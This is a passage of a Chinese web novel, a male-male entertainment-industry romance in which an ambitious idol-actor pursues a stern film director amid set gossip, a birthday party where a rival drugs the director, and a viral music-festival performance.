明若卿也没心情继续讲戏了,“不用,在我们剧组,不用这些歪门邪道。” “但我也是靠‘这些’才走到你面前的。”江林下巴搁在膝盖上低声说道,他是懂怎么戳人肺管子的。 明若卿表情一凶,“你这小孩儿怎么说不通呢?还不滚回去睡觉,明天早上起不来,耽误了,把你扔池子里。” 这次明若卿没说让他滚蛋的话。 江林这才放下膝盖,抱起自己的剧本,脸上表情轻松多了,穿上外套踩着拖鞋准备离开,他回头看着还靠在椅子上的明若卿,说了一句:“明叔,你不戴帽子好看,显得年轻。” 说完就走了。 江林从明若卿房间出来,隔壁的门便开了,制片人和副导演的两颗脑袋做贼似的出现。 “不是,有1个小时吗?”张琴撩了撩头发。 副导演低声说:“够了够了,你以为谁都是一夜八次的小说御男圣体,而且咱们导演也不像是贪欢的人。我就说他们有一腿吧,你还不信,来转钱给我。” 制片人张琴:“滚滚滚!” 两人同时把江林的身份定位为‘宠妃’。 /// 而明若卿在书房又继续工作了一会儿,把后面两天的工作安排好,发送到工作群中,陆续收到回复。 明若卿属于那种觉少的人群,每晚睡个三四个小时便能维持一天的精神,所以他通常是工作到最晚的人,且全年无休,闲不下来。 凌晨三点多,他才洗漱完躺在床上,明若卿这些年从来没有人敢在他面前说这些观点,因为这些东西对于他来说都不是问题。 也是第一次有人亲他,湿漉漉的嘴唇,贴在他嘴上,虽然很快分开,但感觉犹为清晰,像是果冻滑过唇瓣,留下湿润柔软的痕迹。 以及江林大方敞开的胸脯,明亮眸子带着的蛊惑,让明若卿想起那只躺在莲花池的蛇妖。 再也没有机会见天日了。 前些天他重新拍摄佘莫时,总是少了些感觉,可能是珠玉在前,便总是挑毛病 明若卿第二天迟到了,这么多年他第一次迟到。 第77章 江林是明若卿‘入幕之宾’的消息在剧组私底下传开了。剧组各个部门的成员看着江林时笑得更加灿烂了, 盒饭里的菜都是往多了准备。 虽然江林根本吃不了,更多的还是入了小庄的嘴。 古装剧很挑演员,好在江林不胖脸, 有棱有角的,身体在戏服下也是穿衣显瘦脱衣有肉的, 他身上挂着破破烂烂的葫芦、玉佩、战损的腰带以及额前的抹额等等。 造型是精致中带着点邋遢,整部剧都带着一点搞笑诙谐的感动,邵依尘身上这些破烂还都是师门和祖先留下的东西, 用于他施展自己的通灵召唤术。 十次有九次不灵,但唯一一次显灵都是在最危险的时候, 扮猪吃老虎,牵扯很多前程往事,掀开尘封的隐秘。 江林化好妆,看见明若卿主动打招呼,呲着大牙,没事人似的:“明导, 早上好呀。” 明若卿脸皮绷得紧, 点了点头:“早。” 随后, 他又朝着旁边认识的人一一说早安,元气又活泼, 让周围的人瞧见他的笑脸都有了好心情。 明若卿在昨天之前, 都没觉得自己喜欢男的,但今早匆匆换下的床单,昨夜梦中出现的人, 都无疑预示着他的性取向发生了偏移。 一上午,明若卿的周身的气压都很低,无形中透着一股怨气。 江林挨骂逃不掉, 连带着其他演员都在挨训,演技被批斗,然后又警告所有人不准请假,直到下午三点大家才吃上饭。 明若卿有专门的办公室,他一进办公室,众人都松了一口气。有人小声蛐蛐:“导演今天像是吃了炸药,妈呀,吓死我了。那个谁都被骂哭了呢,刚刚看见她流着眼泪跑出去的。” “没办法,她刚刚重拍了二十遍,很难不挨骂” “她好像是被导演给吓得” 江林端着自己的盒饭,敲响了明若卿办公室的门,顿时聊天的声音不见了,都盯着江林的动作。 江林得到允许进入后,看见明若卿桌上摆放着和他们一样的盒饭,他抬眼扫了一眼江林,脸色冷漠。 “你来干什么?”明若卿问。 “陪导演吃饭啊。”江林笑着说道,一屁股坐在他旁边,咬开塑料包装,“明叔昨晚没睡好?” 明若卿斜眼睨了他一眼,矢口否认:“没事。” 江林也不拆穿他,吃了点肥肉相间的五花肉都觉得罪恶,明若卿的动作也很斯文,吃东西都没声音,也不说话。 “导演,我自己没谈过恋爱,后半段要进入感情戏,我有点找不到感觉。”江林见他拿纸巾擦嘴,才缓慢提出自己的疑问。 明若卿动作一顿,看向他,确定他不是像昨晚上安排吻戏和床戏的戏谑,“暗恋人呢?” “这部戏虽然感情和剧情是三七开,但也是不可或缺的部分,邵依尘和盛如月是日久生情,情不知所起,一往而深。” 江林静静看着他,露出一点疑惑的表情,“不太懂。” “多看点电视剧。”明大导演很冷酷。 “好吧。”江林只能这么回答。 /// 江林的一天戏份拍完,正在化妆间卸妆,手刚刚从烟盒中掏出一根烟,便看见之前和他搭戏的尤亿推门走了进来,满脸苦闷和怨气。 “咋了,亿姐?耷拉着脸,谁欺负你了,弟弟帮你去教训教训。”江林带着吊儿郎当的笑,抬手把烟又收回去,因为尤亿不抽烟。 虽然江林现在顺利‘升咖’,但还是和之前的姐姐妹妹和兄弟们都保持着良好的关系,尤亿也乐得和他聊天。 尤亿的戏份早该结束的,但因为临时换演员,导致她还在剧组时不时要来一次补和新换演员的对手戏。 “嗯,去吧,明导给我了一个降龙十八掌的连环骂,你替我教训教训。”尤亿挑了挑眉,语气中带着点嘲讽的笑意,她的长相在娱乐圈不算顶级的美,但却是那种有韵味的。 在娱乐圈有几个圈子,像明若卿这种算是北圈资本,而尤亿则属于海圈资本在捧的艺人,江林这种属于三无,什么圈子都不搭嘎。 在娱乐圈混,美貌是把双刃剑,原本你靠着能力或者演技就能拿到的资源,但因为你漂亮,便被上面的人卡着,说要陪着睡一觉才能拿到。 这个时候你怎么选呢。 在娱乐圈里绝大多数人都会选择妥协。 “好嘞,我等会高低去说他两句。”江林笑着应道。 “还有那个新来的殷会宁,更是蠢,和陶闲两人狼狈为奸,到处说你靠那啥啥上位的,你懂吧?”尤亿脸上的鄙夷之色展露无遗,她看殷会宁不顺眼,是因为他有机会却不认真对待,台词记不清楚,演戏演不明白,造谣倒是一把好手。 江林无所谓地摊手,他和尤亿也是有话直说,不喜欢遮遮掩掩,不在乎别人的眼光和留言:“亿姐,我是想爬床的,但是明导给我一脚踹下来了,根本不给我机会呀。” 尤亿脸上笑容更加愉悦了,她就喜欢和江林这种爽快人聊天,“行了行了,下次姐带你去认识新朋友,明导有眼无珠,错过你这样的帅哥,是他的损失。” “那可不?”江林弯着眼笑,还好化妆室内只有小庄和尤亿的贴身助理,不然谣言传出去,又是一场腥风血雨。 /// 直到拍到感情戏的部分,明若卿才知道江林这么完蛋。 一个回眸眼神能拍几十场,硬是磨得沉诗澜演员都没脾气了,明若卿更是把他拎出来一顿骂:“你演佘莫的时候,不是挺好的吗?现在跟个木头似的杵着,要不就是用力过猛,干什么?!” 明若卿非常怀疑江林是故意的。 “眼睛红什么红?现在是催泪的时候吗?!” “江遂!你演的什么东西!大街上随便一个人都演得比你好吧?!” 江林被骂得都蔫了,郁郁寡欢一张脸,小太阳也不散发光芒了。 明若卿暂时把这场戏推迟到了三天后,他先是给沉诗澜点了甜点赔罪,毕竟因为他的原因她陪着拍了这么多场。 而正冷着脸玩手机的江林被拉入了一个群。 群名叫——明导生日计划。 里面都是剧组的工作人员。 【同志们,今天明导二十九岁‘大寿’,收工后我们给明导好好庆生!饭店都已经定好啦!(爱心爱心)有空的大家都可以参加哦。】 “江哥别气别气了,喝点水,消消火气。”小庄给他哥倒了一杯凉水,大冬天还在给他扇风,把江林给气笑了。 “别扇了,我都要冷死了。”江林没好气地翻个白眼,关掉手机,脑海中正在盘算着什么。 戏拍到晚上十点才结束,没人敢打扰明若卿的进度。他似乎也丝毫没有因为自己的生日而懈怠工作。 江林说台词说得口干舌燥,喉咙都哑了,刚刚从威亚上下来,强大的信念感支撑着他对着绿幕飙戏,喊打喊杀的。 明若卿不是忘记了自己的生日,而是不想改变自己的计划,他脸色松了松,拿着张琴早就准备的花,随着一声:“明导生日快乐!” 原本疲惫的气氛也瞬间燃了起来,明若卿脸上带着点笑容,倒也没有扫兴:“走吧,听说你们给我在旁边饭店订了餐?” “是啊,全包下来了,就是给您庆生呢,蛋糕什么的都到了,就等您这个寿星了。” 江林从威亚上下来,没急着去凑热闹,先卸完妆,换好自己的衣服才去了餐厅,整个餐厅都被剧组包了下来,三层都是人。 一共百来号人,热闹非凡,虽说是明若卿生日,却也是借着他生日自己释放压力而已。 毕竟在明导的剧组打工,需要有一颗大心脏呢。 江林身为男主角,虽然咖位小,但也是和明若卿坐在一桌吃饭的,他随便找空位坐下,听着副导演祝贺之词滔滔不绝,舌灿莲花,倒也明白,为什么这人能当上副导演了。 明若卿没什么架子,给面儿的吃了几口,便笑着看着这些人喝酒之后插科打诨,甚至允许大家明天上午不上班,下午再开工。 江林舔了舔牙,端起桌上的五粮液倒上满满两杯朝着明若卿身边走去,旁边的张琴见他来了,便主动将明若卿旁边的位置让给了江林。 他们都知道明若卿不嗜酒,便也没人劝,没有人敬,他只是自己小酌两杯。 江林坐在明若卿旁边,黑眼明亮如同黑曜石般,灼灼有芒。他将半杯酒递到明导跟前,而他自己这杯是满的,他弯着嘴角,又痞又俊:“明导,我未来成为大明星,您就是我最大的伯乐,这一杯我敬你!” 明若卿看了他一眼,接过酒杯,仰头饮了,江林也豪爽地一口干,朝着他灿烂一笑,眼底闪过狡黠,也不多待,离开了明若卿身侧。 这个举动一出,很多人便效仿起来,开始和明若卿套近乎,端着一杯酒谈天说地。 明若卿脸上表情一直都是淡淡的,只是喝了江林这一杯,后面他也没有拒绝,原本两人的谣言便在剧组闹得沸沸扬扬,他不想让江林变得独特。 江林功成身退地回到自己的位置上,翘着腿开始抽烟,视线扫过明若卿时,唇角带着淡淡的笑,看他来者不拒,不管关系深关系浅都会喝一口,逐渐空了酒瓶。 尤亿拉开他旁边的位置,脸颊泛红,也是喝了不少,她手扒拉着江林的肩膀,趴在他耳边道:“你看,坐在明导旁边的殷会宁,那副下贱样,比谁都想要爬明导的床吧。” 江林顺着她的话看过去,只见明若卿旁边坐着一个清秀的男生,白白净净的,长相还算可以,坐得近,几乎黏在明若卿身侧。 “他还背地里骂我们是烂鞋,婊子,他自己嫉妒得发狂吧”尤亿语气有些凶。 江林伸手扶着尤亿,像是没听见她过激的话,偏头笑着说:“亿姐,你喝醉了,我送你回去吧。” 尤亿眼圈红着,像是这才反应过来自己的失态,笑了笑:“好,我们一起回去吧。” 江林和尤亿最先离开,明若卿看着两人互相搀扶,肩膀相碰,亲密地离开,视线只是一掠而过,并未停留。 娱乐圈你情我愿,男欢女爱,没人能阻止。 尤亿在楼下是经纪人接回去的,江林则带着小庄回到酒店,给制片人拨出电话,接通的瞬间,那边还是闹哄哄的。 “琴姐?” “哎?江江怎么了?”张琴找了个安静些的位置。 “我有点不舒服先回酒店了,明导什么时候回酒店你跟我说一下,我有点事儿找他商量一下。”江林正在梳头,戴着头套闷出一头汗。 “啊?哦,好的,我给你发微信哈。”张琴愣了一下,没想到江林已经这么明目张胆。 “嗯嗯,谢谢琴姐~” 这话软,让张琴听了身心都舒服。 要不说谈恋爱还得和帅哥和声音好听的谈呢。 再大的火气,一声姐姐也消了。 张制片是个靠谱的,明若卿前脚到酒店,她的短信后脚就发出去了。 只是当江林刚走到明若卿门口的时候,还没敲门呢,门就从里面打开了,夹杂着一声男人的暴怒吼声:“滚蛋!” 江林看着从里面出来的少年,眉梢轻轻一挑,殷会宁捂着脸,双眼通红,避开他的视线,低头跑掉了。 江林犹豫了一瞬,还是准备进去瞧瞧是什么情况,推门而入,顺势把门关上了,地上有一滩水渍,还有一个滚动的玻璃杯。 明若卿躺在沙发上,还以为殷会宁赶都赶不走,双眼一睁,眼底带着一点煞气,却瞧见江林一张无辜的脸。 “明叔这是怎么了?”江林低声问,眼神有关切却不多,逢场作戏的表演根本逃不过明若卿的眼睛。 他紧闭双唇没说话,从脖子开始,都撩烧着连绵不断的红。 他也算是阴沟里翻船,一个个的初生牛犊不怕虎,殷会宁居然给他闻催情的气体。 明若卿一晃神江林便像蝴蝶般,飘然落在他身侧,他神情一紧,见他手微微抬起,下意识便伸手攥住他的手指。 江林愣了一瞬,眉眼带上点戏谑的笑容,他轻轻回握明若卿的手,声音也低了低:“明导,这是被人暗算啦?” 明若卿松开手,避开他的视线,那些催情的药物并不致命,也不是春/药一定要做/爱,只是会让身体比较敏感且发烫,陷入莫名的遐想。 “你来干什么?”明若卿瞪着他,表情很凶,像个古板的大家长,带着想要说教、教训他的严厉感。 但偏偏江林不是一个听话乖巧的学生,他凑到明若卿跟前,盯着他的眼睛,弯着唇:“我是来请教明导感情戏的呀,不想再被您骂了呢。” 明若卿望着那双含情脉脉的眼,玩世不恭地笑,却参杂着丝丝情深般,他突然明白了什么,他说:“江遂,你他娘的今天是故意的?” 江林歪着脑袋,反问:“我故意什么了?” 明若卿气得胸膛都起伏一瞬,眉头皱成了川,脸上煞气越发重了,眼神冷冽地看向江林,几乎可以确定这小子是故意的,因为那天他的冷脸和敷衍不满呢。 江林双眼黑亮,双手撑在沙发上,红着脸靠近,小声嘟囔着:“明导,你教教我呗。” 明若卿只是道,“你也滚蛋。” 若是平时碰见做这种事情的人,他早让人滚蛋了。 江林唇角滑过一丝不易察觉的嘲讽,语气笃定:“明叔你对我还是不一样的,我现在亲你的话,你也会像扇殷会宁一样扇我吗?” 明若卿虎着脸,“你试试。” “试试就试试。”江林话音落下,唇就贴上了他的唇,他眨了眨眼,轻轻含了含明若卿的唇,还咬了一口。 但巴掌始终没有在江林脸上落下。 明若卿不得不承认江林在他心中的确不一样,眼前的少年黑眸藏着淡淡的笑。他坏得鲜活,利益至上,底色是灰色。但认真努力(使坏的时候不是),会做人,会来事。 明若卿抬手扣住他的脖子,两人彻底贴在一起,吻成一团,相互拥抱着,明若卿呼吸之间全是少年伸手的味道,清新好闻的沐浴乳香,唇软又湿,舌头灵活地互相试探,互相侵入。 牙齿也轻轻磕碰在一起,彼此的呼吸交缠在一起,鼻尖因为动作太急,不可避免地摩擦着。 那个外人看来严肃古板的导演正和他手下俊美帅气的男主亲在一起,猩红的舌头在两人口齿之间缠绕,如同游蛇。古板气质变成了更加深的色气,他的男主没跟女主亲上,倒和他这个导演先亲了。 真是让人咋舌啊。 “嗯”明若卿手探入他衣摆下的时候,他轻哼一声,舌头还伸在明导嘴里让他吃,又被他冻得一哆嗦。 明若卿抬眼扫了他一眼,江林的睫毛缓缓下垂,眼底滑过讽刺的光芒,那瞬间的冰冷刺得明若卿一激灵,清醒了。 他动作变得迟缓,舔、含、勾缠的动作都慢了下来,他缓缓拉开两人之间的距离,江林追上两步,两人又吻了几下。 明若卿才彻底让两人的唇分开,江林睁开眼,似乎有些疑惑,“怎么了?明叔?” 明若卿表情难看,拧着眉,如果他今天真的和江林做了,那他那天和江林说的话不就是放屁吗? 说得冠冕堂皇,伟正光明,结果不过是一丘之貉,蛇鼠一窝。 江林似乎看透了他的表情,轻佻一笑,轻描淡写地凑到他唇角又轻轻吻了几下:“导演,你不用在乎那天说的话,可以将所有的责任都推给我,是我不知廉耻、自甘下贱勾引的你啊,你有什么错,不过是犯了全天下男人都会犯的错” “明导,我错了,那天我说您的嘴是管制刀具,是我没见识。”江林的四肢还和他交叉拥抱在一起,衣服都在摩擦间有些凌乱。 明若卿沉下脸,稳定呼吸:“为什么要这样?” “与其让殷会宁占了便宜,还不如给我呢。还能是为什么,除了《依尘传》我还想成为明导另外戏的男主角啊,或者您公司旗下其他剧的男主”江林话说得直白,见他眼神难看,又缓缓加了一句:“如果您觉得这话不好听的话,你也可以认为我仰慕你,自愿献身的。” 江林话说完,便又靠近明若卿,手抓在他肩膀上,唇贴了上去,舌头往里钻了钻,明若卿又吮了吮他的软舌,才把他推开,转身去了浴室。 江林手叠放在沙发靠背上,下巴搭在手背上,望着明若卿落荒而逃的背影,眼底流露的懒懒的笑意,明若卿对他有感觉,甚至很强烈,但他过不了心中那道坎。 就像明若卿自己说的那样,他娱乐圈比较非常珍惜的一种人,道德底线比较高,他依旧不想‘伤害’他。 江林觉得好笑,就算到了这种时候,明若卿还不忘记想带着他走正道呢。 若是白宝戎那狗犊子,根本不需要这么费劲。 但事不过三,这是第二次。 江林没有留在他房间,回了自己房间,重新洗漱入睡。 明若卿彻夜未眠,他开始反思自己是不是对江林太特殊,明明面对殷会宁他可以一巴掌扇飞,但对江林一忍再忍,无法拒绝。 他甚至在考虑,江林是不是真的适合邵逸诚这个角色。 但这一切的犹豫和顾虑,都在白天见到江林的时候烟消云散了。 阳光正好,江林逆着光从门外走进来,如同太阳花般的笑容,金灿灿的,朗声喊他:“明导,吃不吃玉米卷嘞?” 又来了,江林总是这样,他可以在晚上做出十分出格的事情,然而第二天像是没事人般和他打招呼,仿佛他自己就是一个安分守己、尊重前辈的小演员,而他是高高在上、令人尊敬的导演。 明若卿移开视线,做不到像无事发生般,依旧是一张冷脸:“放桌上吧。” 以为会被拒绝的江林都把玉米卷收回去了,又慢吞吞拿出来,放在他桌上。他一步三回头,这是他最后的口粮了。 明若卿像是没看见他惊愕的神情,绷着的唇角弯了弯。 /// 拍摄和综艺都按部就班地进行着,江林最近有些疲累,也没时间管明若卿,拍完戏就去舞蹈室练舞蹈,他们团的出道舞。 有一次,练舞还被明若卿瞧见了。 江林在这边转身、扭胯、摇摆、顶跨,明若卿和张琴几人在身后看他,还偷偷录了视频,他动作有力,腰间的肌肤时不时一闪而过。 等江林发现后面站着人的时候,张琴朝着他摇了摇手机,笑着道:“江江,你有这种毅力做什么都会成功哒。” 这种尴尬的事情,江林也只尴尬了一秒钟,抬眼看向明若卿,明若卿帽檐的眼睛依旧看不清冷热,破天荒地开了一句玩笑:“我找编剧问问,看看剧里能不能让我们男主秀一下腹肌。” 江林摇了摇头,有些腼腆地道:“不用加,我每天都在微博发腹肌照啊鲨鱼肌的。” 张琴被他逗笑:“那我关注一下,看看怎么回事。” 明若卿几人没在说话。 只是晚上,江林微博又新增了一个关注。 第78章 “拍好的视频发我微信上。”江林头上还戴着头套, 衣服也是戏服,刚刚跳完舞,脸上还带着点汗。 “拍了几段, 哥选选。”小庄把拍摄的练舞视频发了过去。 江林精心挑选了一个用小庄的微博发到了他个人的超话上,标题是#江遂拍戏到深夜两点, 还在练舞(大哭大哭)#。 他的努力可不能没人瞧见,在娱乐圈没有看见的努力都是白努力。 当然勾起了一些粉丝的心疼和赞叹。 这些事做完,江林又开始背台词, 琢磨演技。 /// 限定团的团综拍摄了三期,在第四期开头, 就是在一个音乐节进行舞台表演的拍摄,节目组非常大胆,在事先就跟他们说了,不光有拍摄,还会现场直播。而且这个音乐节,还有某位红透半边天的歌手参加, 所以门票一经开售, 就全部抢光了。 所以如果真的丢脸, 那就是被按在耻辱柱上。 江林苦练了一月,总算觉得自己跳舞能看了, 但是唱歌这种事情是天生的, 江林改变不了,只能勉强入耳。 还是全开麦演唱,节目组可半点不关心他们的死活, 翻车了也有热度,唱得好也有热度,表演得半死不活, 还能蹭某位歌手的热度。 不管怎么节目组都不亏。 明若卿这两天发现江林的戏走得很顺,几乎全部都是五遍之内能过,演技进步了不少,他正在盘算着将后面两天的进度提前一些。 江林便来找他了,笑眯眯地说道:“明导,我明天能够早点下班吗?我晚上有录制” 明若卿停下笔,黑沉沉的眼盯着他:“上次我怎么说的?” “但是我这两天表现得很好吧,我的戏份进度很快,明天上午继续拍,下午两点再走行不行?我晚上没夜戏,只是提前三小时下班”江林合情合理地说着,而且这算是群像剧,还有其他演员的支线,并不需要江林在场。 “”明若卿拧紧眉头,“你在我面前藏锋?” “我藏啥锋啊,我恨不得您知道我演技好,捧我当影帝呢。”江林好笑地看着他,眉梢挑了挑。 最终明若卿没有为难他,隔天十二点就放人了。 在后台的时候,整个团气氛都有些凝重,这些人里面有大部分都是怀揣着梦想想要追梦演艺圈的,谁都不想丢脸。 并且这是成团之后,第一次舞台首秀,所有人都严阵以待,连宁星安都紧张得手心出汗。 江林头发被挑染成了蓝色,用发胶固定,变成偏分,刘海微微蓬松卷翘,眼尾画上了黑色眼线,画着眼影,显得眉眼间更加深邃多情,锁骨、脖子以及眉骨眼尾都涂上了亮片。 十二人的穿着都是黑白系列的,最简单的白色衬衣,江林阖着眼假寐,任由造型师在自己身上折腾,修长脖颈用黑色皮制项圈,手臂上也缠绕着两圈,搭配着造型,白衬衣一出汗便什么都暴露无遗了 桃子台的节目组是懂得怎么媚粉的,全在为粉丝谋福利。 “江哥,你好帅啊。”他是团员里面最小的蔡阳,才十七岁,从小就是练习生,长着一张耐看的娃娃脸,黑白分明的眼睛看着他,脸上是真实地赞叹。 江林睁开眼,笑了笑:“那当然,我可是我们团的门面。” 蔡阳笑着没反驳,没说外面说宁星安把所有的称号全揽了,什么全能ACE,什么门面,好词都让他一个占了。 他们准备了两首曲子,一首是他们节目的主题曲,一首是他们前辈团的歌,不需要版权费。 蔡阳看着年纪小,却是团内的rapper,唱起来气势十足。 天色渐渐暗下,观众们陆续进场,紧锣密鼓地安排中,主持人在台上活跃气氛,他们的表演排在中间,不上不下的位置。 一共是两首歌。 “我靠,我手心都出汗了” “我也是,呼,紧张死了,今天可不能搞砸了” 伴随着主持人一声:“欢迎我们Sunshien Youth!” 他们站好位置,从升降台伸上来,十二个人都摆好了姿势,巨大的三面屏幕上印着他们的脸,美貌放大,一两万人的现场,只有他们穿着单薄的衬衣表演服,先感觉一股冷风拂面。 现场一两万人里面,大概有三四千宁星安的粉丝,零星几个团粉或者其他成员的粉丝,随着宁星安的一声喊麦,尖叫声响起。 “嘿,whassup!Little Sun!” 他们粉丝团的粉丝叫做小太阳。 “hi,hi,baby~梦想由繁星筑” 江林只有两句词,“hi,hi,baby~我为你颤抖,hi,hi,baby~骄傲由我谱写” 后面就是合唱,当江林走到C位,动作利落有力,甩头抬手,随着节奏扭动腰肢,衣摆晃动。大屏上投放着他无死角的美颜,棱角分明的五官,唇角带着蛊惑人心的笑,坏得要命,却不显得用力油腻,像那种少年时期学校里面痞帅的男生。 某些别家的粉丝都不由自主地尖叫起来。 顿时尖叫声都大了些,同时微博上正在同步直播,评论也是刷得飞快。 【啊啊啊啊啊,这个蓝头发的是谁!!一分钟我要知道他所有的资料。】 【这个帅,这个真帅!】 【江遂!江遂!!】 【丈夫的美貌!妻子的荣耀!】 【江遂之前不是跳舞最划水的吗?现在我怎么感觉好帅啊。】 【哥哥,别顶胯,顶我呜呜呜~】 【不过有一说一,唱歌水平还是一如既往地一般。】 【有些人明明可以靠美貌,偏偏要才艺,说的就是我哥哥。】 江林的帅气,都不需要营销,只要有眼睛的都能看得出来,如果不是节目期间骚操作太多,凭借这张脸都能圈粉无数,现在算是正常操作了。 舞蹈结束,中间有主持人cue他们团的节奏,自从江林出现之后,场子一直都是躁动的,各个团员互相介绍。 “大家好,我是Sunshien Youth的江遂。”江林微微带着喘息,声音低沉磁性,他自我介绍完,居然听见不小的尖叫声喊着江遂的名字。 江林在巨大屏幕上的俊脸出现一丝惊讶,微微瞪圆了眼睛,似乎没想到自己的人气这么高,然后弯着月牙眼笑了笑,又是如同麦浪般掀起尖叫。 冷白的肌肤,精致又不是凌厉的五官,是那种直击眼球的帅气,帅得人不由自主想要尖叫。 “哇哦,哇哦,看来,我们江遂的人气很高啊。”主持人接话道,顺势cue了下面的人。 中间又玩了一个小游戏,江林在和蔡阳的夹气球比赛中输了,导致气球里面的一小捧水全淋在两人衬衣上,淋湿的衬衣透着肉色,姣好的身材若隐若现。 “大家说,输家要怎么罚?”主持人熟练地接话,然后顺势道:“我刚刚听见有人喊,看看腹肌?” 这话一出,又引起了尖叫,主持人打趣道:“我们这是正规节目,这样吧,我们请旁边的队友帮忙摸一下怎么样?” 只能说这个主持人的确身经百战,将麦麸、炒cp刻入骨髓。 蔡阳一脸的羞涩,脸颊都红了,手缓缓伸进江林的衣摆下,摸到了因为跳舞用力紧绷的肌肉,硬邦邦又湿漉漉的。 大屏幕上又拉进了江林的脸,只见他垂眼看着蔡阳,唇角的笑容似乎有些宠溺和无奈,眼神暧昧得要命。 【我操!我操!这是我能看的吗?】 【放开那块腹肌,让我来!(撕心裂肺)】 【我磕到了,呜呜,为什么江遂这么攻啊,我的妈呀。】 【我直接喊老公!】 【不不不,他是我老婆,垂直入坑了。】 两人的cp超话连夜成立,瞬间涌入了几万粉丝签到欢呼,随(遂)意()超话正式成立。 而后江林表演完,回到商务车上,热搜已经到了几十,其中有两天是关于江林的。 #Sunshien门面# #江遂蔡阳# 还有就是关于顶流宁星安的热搜。 江林的微博瞬间涨粉五万,还在持续暴增,他的微博里有关于进组的,下面评论叠了起来。 【我老公还是演员?】 【谁?谁的剧组?明若卿的剧组!?(惊恐)】 【明导剧的男主角,你细品。】 【美貌只是我老婆最微不足道的优点啊。】 【资源咖?没事儿,娱乐圈这么丑男,就该我老婆来整顿一下。(再说一句QYC丑人多作怪)】 【江遂勇敢飞,你拍剧我必看!】 这群追星粉丝的战斗力不用说,几乎是碾压式的。 邱宇成看江林初露苗头,几乎气得吐血,再次发了emo文案,然后秒删,这次他冲锋陷阵的粉丝被臭骂了一顿,灰溜溜地回去了。 江林回到剧组,刚下车便瞧见拍完夜戏回酒店的明若卿,那一头招摇的蓝发,瞬间便吸引了明若卿的视线,他的表情就冷了下来。 “欸欸,别黑脸,一次性的,洗掉就好了。”江林穿着黑色风衣,耳朵上还带着耳骨夹,银色的垂吊的链子,脸上还带着妆,精致俊美。 副导演笑得和蔼:“今天看了江江的表演,跳得真帅!” 江林心情不错地笑了起来,“谢谢夸奖~” 他故意凑到明若卿身边,很小声问他:“明叔喜不喜欢我的舞台妆?” 明若卿还没来得及说话,江林便用下一句话堵得他说不出话:“我晚上去找您呗。” 明若卿对于他的贼心不死,已经从应激到麻木,低声笑一声:“明天拍摄出任何茬子,都紧一紧你的皮。” 在他眼中,江林就像是不懂事的孩子,说的这些事儿都是嬉笑玩闹而已。 江林老实了,抱着剧本回自己的房间。 而明若卿躺在床上刷手机,刚好看见了江遂的热搜,点进去一瞧,就是两个男人对视的照片出现在屏幕里。 站姐拍得很有氛围感,视频的配乐和剪辑也是一绝,一张照片而已,剪出了婉转缠绵的感觉。 下面很多评论都在说他们糊团有救啦,磕到啦。 明若卿脸上没什么表情。 明导手机播放着:“hi,hi,baby~……” 江林这趟请假请得值啊,几乎是一炮而红。 江林这时也在给蒋红打电话,“红姐,找几个营销号宣传一下,从多个切入点好好营销一波,最好能变成热梗。” 他自知只是这样的程度也许很久会被大众所遗忘,只能想办法增加知名度,毕竟从岌岌无名的小爱豆变成大导演的男主,这个点很容易爆,顺便给自己和剧都带来一点热度。 然后让代拍抛出几个片段镜头再营销一下演技。 “好,这些你放心,我和营销部商量一下。”蒋红现在正紧急召开会议,他们公司除了江林还是有十来个艺人的,名气都不高,现在江林的人气稳坐一哥。 “你先好好拍戏。” 江林自然是他们工作室的重中之重,甚至开始了紧急的招聘。 江林这波出圈之后,怒涨了二十万粉丝,没多久他们的团综又播了,让找不到物料的粉丝续上了命。 他再发自拍日常的时候,评论区就变得一派其乐融融,评论三四千条,点赞也有七八万。 大部分都在问下一次舞台是什么时候。 而桃子台也看出了江林的商业价值,想给他安排更多的工作,都被江林委婉拒绝了,等拍完戏,都好说。 /// 天气严冬,距离过年仅剩半月时间,还剩下四分之一的剧情没拍完,棚外下起了大雪,银装素裹,屋檐披霜,零下的天气,冻得人瑟瑟发抖。 原本正在拍摄户外戏份,但因为下雪,便只能暂停,江林全身都贴着暖宝宝,腰上挂着死沉的剑,肩膀上披上大棉服,嘴唇湿润,吐出嘴里的含着的冰块。 刚刚还吊儿郎当地表情瞬间收敛,抱着暖手袋,牙齿打颤。 因为温度太低,拍摄时吐出白雾,有穿帮的嫌疑。 众人回到棚里,只能先拍摄室内的剧情。 严格来说,江林其实非常适合邵依尘这个角色,邵依尘是个吊儿郎当,贪生怕死的普通人,而江林本身也是一个漫不经心,嘴贫开朗的少年。 角色只需要一点点雕琢,倒是不难演。 “给演员准备热乎的姜茶喝喝。”明若卿穿着一身黑色羽绒服,黑色的帽子焊在他头上,眼神扫过一张冻得通红的脸,让他们先休息半小时。 剧组准备的热茶,浓浓的姜味,江林不爱喝。 沉诗澜来找他对戏,两人一边冷得发抖,一边说着台词。 “嚯,我妹让我来问你要签名照。”沉诗澜无奈笑着,“他最近刷到你的舞台,被迷得要死。” “妹妹要几张?五张够不够?”江林挑眉道。 “够了够了,谢谢江大明星。”沉诗澜打趣道。 “和沉影后比还是差一点。”江林用小拇指比道。 他和沉诗澜打趣几句,便端着一杯新姜茶去了明若卿办公室。 明若卿正靠在沙发上闭目养神,眉头紧拧,江林敲门进入,他才慢吞吞睁开双眼。 “明叔,早上听琴姐说你昨天感冒啦?”江林借花献佛把姜茶放在他手边,“吃药了吗?” 明若卿今早起来便觉得头晕眼花,体温异常,应该是在雪地里待得太久感冒了,所以今天紧急给大家准备了姜茶和保暖用品。 “我上次给你送的围巾怎么没戴?戴上就不会感冒了吧。”江林上次让蒋红给他准备的围巾,有表现的机会,他当然要成为一株合格的解语花。 “那大红的颜色,不适合我。”明若卿捏了捏眉心,语气很淡。 江林便问:“那您喜欢什么颜色,黑色?白色?” “不用你送,我自己有。”明若卿没选择颜色。 两人视线对上几瞬,黑亮的眸子,坦荡得让人心虚,明若卿避开视线,声音低了低,看向茶几下的药箱:“还没吃药。” 江林自觉地弯腰拿出药箱,里面有小袋子分装着的药,他按照盒子上的备注说明,分别将药剥出来,然后摊开手心递到明若卿面前。 明若卿望着他白皙的手心,上面是颜色不同的药丸,便听见及江林戏谑道:“大郎,吃药啦。” 明若卿没什么表情,从他手上接过药丸,仰头一口吃完。 “明导,你为什么会当导演呢?”江林似有些好奇。 “”明若卿觉得这个问题已经很久没有被人问起过了,之前初入娱乐圈的时候,经常被人问,现在他成为大名鼎鼎的明导,再也没人问了。 “我知道您是有钱人家的公子哥,就算不当导演也有很多选择。”江林坐在他身边,眼神平和,似乎只是好奇。 明若卿会选择导演,起初是叛逆,后来是觉得这样的工作他很喜欢,他得到了充分地表达,“没那么多为什么。” “那你会一直干下去吗?”江林轻声问。 